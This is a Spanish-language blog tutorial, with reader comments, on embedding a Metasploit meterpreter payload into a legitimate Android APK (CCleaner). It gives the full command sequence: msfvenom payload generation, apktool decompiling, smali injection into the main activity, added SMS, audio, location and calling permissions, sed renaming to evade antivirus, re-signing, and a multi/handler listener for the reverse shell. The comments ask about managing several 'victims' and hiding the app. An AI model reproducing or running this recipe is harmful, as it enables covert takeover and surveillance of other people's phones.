Tutorial para modificar un APK añadiéndole un payload msf

Ya sabéis que un APK es un paquete de aplicación de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete.

Lo que vamos a ver a continuación es un pequeño tutorial de cómo desempaquetar un .apk, y luego modificarlo añadiendo un componente propio generado por metasploit: un meterpreter para Android. Una vez construyamos ese paquete lo instalaremos en un dispositivo Android consiguiendo que se ejecute la app legítima a la vez que nuestro payload dejando infectado el dispositivo Android.

Cuando nos encontremos ante una auditoría podremos aplicar esta técnica para mostrar las vulnerabilidades de las aplicaciones de Android y recordar que lo importante es no instalar nunca aplicaciones de fuentes poco fiables.

Espero que disfrutéis de este pequeño tutorial tanto como yo lo he disfrutado haciéndolo.


Para empezar generamos el payload para Android con msf:

msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk


Luego nos descargamos una apk legítima como por ejemplo 'ccleaner' y decompilamos las dos con apktool:

apktool d -f -o payload meterpreter.apk
apktool d -f -o original ccleaner.apk



Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform


Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el editor que queráis)


Buscamos las líneas siguientes que nos servirán como guía para encontrar la ruta a la aplicación principal que es la que nosotros queremos modificar:

<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

Encima de éstas, encapsulándolas habrá una etiqueta <activity
Nos fijamos en la propiedad Android:name= de esta etiqueta que tendrá una estructura similar a "com.piriform.ccleaner.ui.activity.MainActivity"


Por tanto, ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de ./original/smali/), nos vamos a este fichero que será algo parecido a "com/piriform/ccleaner/ui/activity/MainActivity.smali" , es decir, por cada "." Será una "/".

Editamos este fichero .smali y buscamos la línea:

;->onCreate(Landroid/os/Bundle;)V

En la siguiente línea a esta ponemos:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y después continúe con la ejecución normal de la app legitima



Ahora vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicación ./original/ y modificamos el AndoridManifest.xml


Añadiremos los permisos que consideremos, en mi caso puse estos:

<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
 <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
 <uses-permission android:name="android.permission.RECEIVE_SMS"/>
 <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>

Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit

sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`

Después de eso debemos de cambiar el fichero Payload.smali por init-config.smali


también cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, además de todo eso deberemos de cambiar la línea

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

que hemos puesto antes con el nombre correspondiente:

invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V

yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app, hacemos:

apktool b original/

A continuación comenzará a construir nuestra app.


Dentro del directorio ./original/dist estará nuestra apk construida/compilada.

Ahora toca firmar la apk para que esta sea "legitima" por tanto creamos en nuestro home el directorio .android

mkdir ~/.android

Generamos la key para firmar con:

keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"

Para firmar con esa firma hacemos:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkey

Ahora nos queda dejar a la escucha el metasploit con:

msfconsole
use exploit/multi/handler
set Payload android/meterpreter/reverse_https
set LHOST 192.168.1.135
set LPORT 8181
set ExitOnSession False
exploit -j -z

Ejecutamos la app en el móvil:



Deberíamos ver como se conecta nuestro meterpreter.

Nota: puede que nos pida que habilitemos las opciones de orígenes desconocidos.

Y bueno este es el final del manual , no voy a explicar el funcionamiento del metasploit ya que si lo conoces es el mismo de siempre y sino lo conoces pues te invito a que sigas los pasos y te aventures a realizar el Lab.

También dejo disponible la versión en PDF por si lo deseáis descargar:



Fuentes:
- http://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/
- http://www.elandroidelibre.com/2016/02/modifica-y-clona-cualquier-aplicacion-con-apk-editor.html
- https://ibotpeaches.github.io/Apktool/documentation/

Comentarios

  1. Pero eso sería "esperar" a que instale la app. Cómo sería si ya lo instaló y, por ejemplo, una semana después queremos comprobar si hay conexión y eso? Como iniciar esa sesión específica de meterpreter? Y en el caso de hacerlo con varias "víctimas" nos saldría un menú o algo así para elegir cada conexión?

    ResponderEliminar
    Respuestas
    1. Estudia primero hacking básico y a usar una herramienta como metasploit antes de intentar estas cosas anda.... No quieras correr antes de caminar, que se ve que no tienes ni idea

      Eliminar
  2. Si ya instalo la app, seria buscar otro tipo de vulnerabilidad como que visite un enlace malicioso o que vuelva a instalar la app como una actualizacion, en caso de que se establezca persistencia , bastaria con dejar ejecutado el exploit/multi/handler de metasploit para permitir que se conecten y para ver las sesiones activas basta hacer un sessions -l o sessions (en el metasploit) y verias todos los dispositivos conectados , mas info: https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/

    ResponderEliminar
  3. Carlos está perfectamente explicado. Enhorabuena amigo.

    ResponderEliminar
  4. Carlos está perfectamente explicado. Enhorabuena amigo.

    ResponderEliminar
  5. no entendi esta parte, quien me explica?


    Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit

    sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
    sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
    sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`

    ResponderEliminar
    Respuestas
    1. Estas modificando path absolutos por relativos, con rgrep realizas la busqueda recursiva en el directorio al marcarlo con "./*" printando el primer campo del resultado delimitado por espacios (awk) siendo a su vez delimitado por el caracter ':' mostrando el nombre del fichero, que se entiende que es el primero campo.

      Que me corrija el autor, pero creo que lo que se busca es que el antivirus no consiga encontrar palabras clave utilizadas en sus BBDD.

      comandos como sed, awk, y cut, son muy utiles y utilizados en entornos linux.

      Eliminar
    2. Estas modificando path absolutos por relativos, con rgrep realizas la busqueda recursiva en el directorio al marcarlo con "./*" printando el primer campo del resultado delimitado por espacios (awk) siendo a su vez delimitado por el caracter ':' mostrando el nombre del fichero, que se entiende que es el primero campo.

      Que me corrija el autor, pero creo que lo que se busca es que el antivirus no consiga encontrar palabras clave utilizadas en sus BBDD.

      comandos como sed, awk, y cut, son muy utiles y utilizados en entornos linux.

      Eliminar
  6. Una pregunta,todo lo que se ha hecho sirve solo para la version de CCleaner en el ejemplo o para cualquier version,lo pregunto porque al editar los archivos para agregar la linea,a mi no me figura exactamente lo mismo dentro del archivo,esto puede deberse a que yo use otra version de ccleaner?????? no me quise complicar con firmas y con el tema del antivirus pero igual al final me arrojo error en mi tablet en donde la meti.Que puede haber pasado?????

    ResponderEliminar
    Respuestas
    1. no, en principio debería de valer para todas las apk que quieras, esa app la utilice como ejemplo, pero puedes meter el payload en la apk que quieras siguiente el manual.

      Eliminar
  7. Si quisiera editar un APK para que sea invisible, que debo hacer ?..gracias

    ResponderEliminar
  8. Quisiera saber si una APK se puede modificar para que desaparezca sin dejar de funcionar , gracias

    ResponderEliminar
  9. Buenas me gustaría saber cómo podría dominar esto, aprendiendo a programar en un lenguaje determinado o practicando con ejercicios de este tipo. Un saludo

    ResponderEliminar
  10. Me gustaría saber cómo aprender a manejar bien esto y a bien me refiero desde 0 conociendo y pudiendo interpretar cada comando. No sé si empezar aprendiendo a programar en un lenguaje específico o practicando con ejercicios como este. Espero tu respuesta. Un saludo!

    ResponderEliminar
  11. sera que se puede crear el payload que cuando no tenga saldo se conecte a internet por su cuenta asi como internet free algo asi pon cuentas ssh por el estilo

    ResponderEliminar
  12. se puede colocar al payload una manera de internet gratis para que se conecte asi el usuario no tenga saldo se conecte a internet

    ResponderEliminar
  13. al momento de firmar la apk, me sale este error:
    jarsigner error: java.security.InvalidKeyException: The security strength of SHA-1 digest algorithm is not sufficient for this key size

    ResponderEliminar
  14. Como se pudiera inyectar en un apk, pero desde android studio?

    ResponderEliminar
  15. amigo tengo una apk para iptv y quiero insertar el url de mi server para que quede por defaul y tambien quitar la publicidad que sale. los molestos pop ups me puedes ayudar....mi email es vipfmhd@gmail.com

    ResponderEliminar
  16. Oye una pregunta como puedo crear un payload para la ultima versión de Android (Android 11) si me dicen gracias :)

    ResponderEliminar
  17. Como seria para hacerlo con 8 Ball pool ya que no son las mismas carpetas

    ResponderEliminar
  18. al usar estos comandos dentro de la carpeta /original/smali/com/metasploit/

    sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
    sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
    sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`

    al poner el 1er código, al parecer se ejecuta bien, peroal colocar el 2do y 3er código me da este error:

    ─# sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1` sed: -e expression #1, char 19: unterminated `s' command


    Alguien me ayuda como ejecutar correctamente estos comandos?

    dejo mi contacto, alguien expliqueme por favor.

    https://t.me/SiriusBTupa

    ResponderEliminar
  19. a mi me arroja el siguiente error:
    I: Using Apktool 2.7.0-dirty
    I: Checking whether sources has changed...
    I: Checking whether sources has changed...
    I: Smaling smali_classes4 folder into classes4.dex...
    Exception in thread "main" org.jf.util.ExceptionWithContext: Exception occurred while writing code_item for method Lp/kax;->values()[Lp/kax;
    at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1058)
    at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:354)
    at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:309)
    at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:58)
    at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:37)
    at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:437)
    at brut.androlib.Androlib.buildNonDefaultSources(Androlib.java:383)
    at brut.androlib.Androlib.build(Androlib.java:321)
    at brut.androlib.Androlib.build(Androlib.java:287)
    at brut.apktool.Main.cmdBuild(Main.java:263)
    at brut.apktool.Main.main(Main.java:82)
    Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at code offset 0x4
    at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1331)
    at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1054)
    ... 10 more
    Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65536
    at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:116)
    at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:356)
    at org.jf.dex


    antes me decia que la variable v22 deberia estar entre un cierto rango entonce encontre que al añadir la linea invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
    lo hiciera con invoke-static/range

    pero ahora encuntro ese error que le coloco y el problema es que la app teine muchas carpetas smali, y no se como solucionar ya

    ResponderEliminar

Publicar un comentario